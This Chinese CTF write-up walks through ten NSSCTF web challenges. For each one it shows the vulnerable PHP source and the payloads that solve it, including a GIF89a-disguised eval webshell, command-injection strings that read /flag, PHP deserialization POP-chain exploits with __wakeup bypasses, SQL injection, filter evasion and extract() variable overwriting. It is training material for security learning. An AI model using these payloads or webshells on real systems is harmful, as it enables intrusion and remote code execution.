文章目录
- colorful_snake
- NSS_HTTP_CHEKER
- 一键连接!
- ez_talk
- Pingpingping
- UnS3rialize
- 查查need
- If_else
- RCE-PLUS
- backup
colorful_snake
打开题目,查看js源码
直接搜flag
把那三行代码复制到控制器,得到flag
NSS_HTTP_CHEKER
都是http请求基本知识
抓包按照要求来,得到flag
一键连接!
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {echo "Congratulations~~~~~~~~~";echo "试试need Antsword<br/>";@eval($_POST['Nss']);}else{echo "可曾听过data协议?";}} else {echo "sha1又如何相等呢";}
} else {echo "如何让md5值相等呢¿";
}
分析一下,MD5和sha1都可以用数组绕过,然后用php伪协议中的data协议
提示蚁剑连接
得到flag
ez_talk
打开题目,先试试普通一句话木马,发现被检测
尝试bp抓包修改MIME,还是不行
这里修改下一句话木马,添加一下文件头
GIF89a
<?php eval($_POST['shell']);?>
成功上传
得到flag
Pingpingping
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){system("ping -c 3 ".$_ping);
}else{$data = base64_encode(file_get_contents("error.png"));echo "<img src='data:image/png;base64,$data'/>";
}
分析一下,首先是参数名利用php解析特性;然后就是简单的ping命令加命令执行
?Ping[ip.exe=127.0.0.1;cat /flag
得到flag
UnS3rialize
考点: __wakeup绕过之fast-destruct
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{public $cmd;function __invoke(){echo "Congratulations!!!You have learned to construct a POP chain<br/>";system($this->cmd);}function __wakeup(){echo "W4keup!!!<br/>";$this->cmd = "echo Welcome to NSSCTF";}
}class C
{public $whoami;function __get($argv){echo "what do you want?";$want = $this->whoami;return $want();}
}class T
{public $sth;function __toString(){echo "Now you know how to use __toString<br/>There is more than one way to trigger";return $this->sth->var;}
}class F
{public $user = "nss";public $passwd = "ctf";public $notes;function __construct($user, $passwd){$this->user = $user;$this->passwd = $passwd;}function __destruct(){if ($this->user === "SWPU" && $this->passwd === "NSS") {echo "Now you know how to use __construct<br/>";echo "your notes".$this->notes;}else{die("N0!");}}
}if (isset($_GET['ser'])) {$ser = unserialize(base64_decode($_GET['ser']));
} else {echo "Let's do some deserialization :)";
}
Let's do some deserialization :)
分析一下
- 从后往前推,出口是NSS.__invoke()的命令执行
- 调用此方法往前推到C.__get()
- 然后就是访问不存在属性,往前推到T.__toString()
- 再往前推到F.__destruct()
- pop链梳理完再看看wakeup的绕过,用的fast-destruct,直接在序列化完的数据后去掉一个花括号(其本质上就是利用GC回收机制),然后再编码
pop链
F.__destruct() --> T.__toString() --> C.__get() --> NSS.__invoke()
exp
<?php
highlight_file(__FILE__);
class NSS
{public $cmd='cat /flag';
}
class T
{public $sth;
}class C
{public $whoami;
}
class F
{public $user = "nss";public $passwd = "ctf";public $notes;
}$a=new F();
$b=new T();
$c=new C();
$d=new NSS();
$a->user='SWPU';
$a->passwd='NSS';
$a->notes=$b;
$b->sth=$c;
$c->whoami=$d;
$remove=substr(serialize($a), 0, -1); //去掉最后一个花括号
echo base64_encode($remove);
得到flag
查查need
考点:sql注入万能密码,bp爆破攻击
打开题目,发现给了excel表格用来查询成绩
F12看到提示用万能密码
目前为止,还不知道注入的位置
我们可以bp抓包,依次再三个参数fuzz测试(在页面处输入不了"
,所以用抓包的方式来回显)
发现在学号处存在注入点,且闭合方式为双引号
结合学生表和万能密码
随便输入一个学生名字,发现有回显
尝试用联合查询,发现走不通
考虑到学生表,猜测flag应该藏在某位同学的成绩那
把表中学生名字全部复制到txt里,然后添加该payload(bp上显示乱码不管它)
爆破得到flag
If_else
源码
<?php$a=false;$b=false;if(你提交的部分将会被写至这里){$a=true;}else{$b=true;}if($a===true&&$b===true)eval(system(cat /flag));
?>
自己写代码进去,先闭合前面,然后命令执行,在最后面加注释符
payload
?check=1==1) echo `cat /f*`;/*
不难发现黄色部分都被注释掉了,因此命令执行得到flag
RCE-PLUS
考点:无回显RCE
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){return($cmd);}else{die("i hate this"); }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
shell_exec()函数哪怕执行了命令也是没有回显的
我们输入下面命令测试下
?cmd=ls / | sleep 5
我们会发现执行了,但是并没有回显
这里可以利用tee命令把执行的结果打印下来
payload
?cmd=ls / | tee 1.txt
或者是重定向
?cmd=ls / > 1.txt
然后访问./1.txt
然后反斜杠绕过一下关键字
?cmd=ca\t /fl\ag | tee 2.txt
得到flag
backup
考点:源码泄露,变量引用绕过__wakeup,php变量覆盖
提示说给了备份文件,直接御剑扫一下
发现有www.zip,访问下载下来
源码
<?php
error_reporting(0);
require_once("flag.php");class popmart{public $yuki;public $molly;public $dimoo;public function __construct(){$this->yuki='tell me where';$this->molly='dont_tell_you';$this->dimoo="you_can_guess";}public function __wakeup(){global $flag;global $where_you_go;$this->yuki=$where_you_go;if($this->molly === $this->yuki){echo $flag;}}
}$pucky = $_GET['wq'];
if(isset($pucky)){if($pucky==="二仙桥"){ extract($_POST);if($pucky==="二仙桥"){ die("<script>window.alert('说说看,你要去哪??');</script>");}unserialize($pucky);}
}
反序列化非常简单,if语句要求$this->molly === $this->yuki
强等于,但是__wakeup方法会赋值,所以采取引用绕过的方式,exp如下
<?php
class popmart{public $yuki;public $molly;public $dimoo;
}$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);
然后就是上传的时候有两个if语句,第一个成立,第二个不成立。由于GET和POST传同一个参数没有先后顺序,所以不能用下面的方式去实现变量覆盖
GET:?wq=二仙桥
POST:wq=O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
我们可以修改下POST参数为pucky即可
得到flag